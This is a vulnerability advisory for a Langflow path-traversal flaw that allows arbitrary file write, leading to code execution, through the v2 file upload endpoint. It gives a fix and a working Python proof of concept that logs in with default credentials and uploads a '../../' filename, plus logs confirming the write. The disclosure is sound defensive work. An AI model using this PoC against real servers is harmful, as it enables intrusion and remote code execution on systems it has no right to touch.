CVE-2026-33309

Langflow has an Arbitrary File Write (RCE) via v2 API

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

• API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
• Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

• Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")

• Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests
BASE_URL = "http://localhost:7860"
Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]
Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"
resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
print(f"Status: {resp.status_code}") # Returns 201
The file is successfully written to /app/data/.cache/langflow/traversal_proof.txt

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.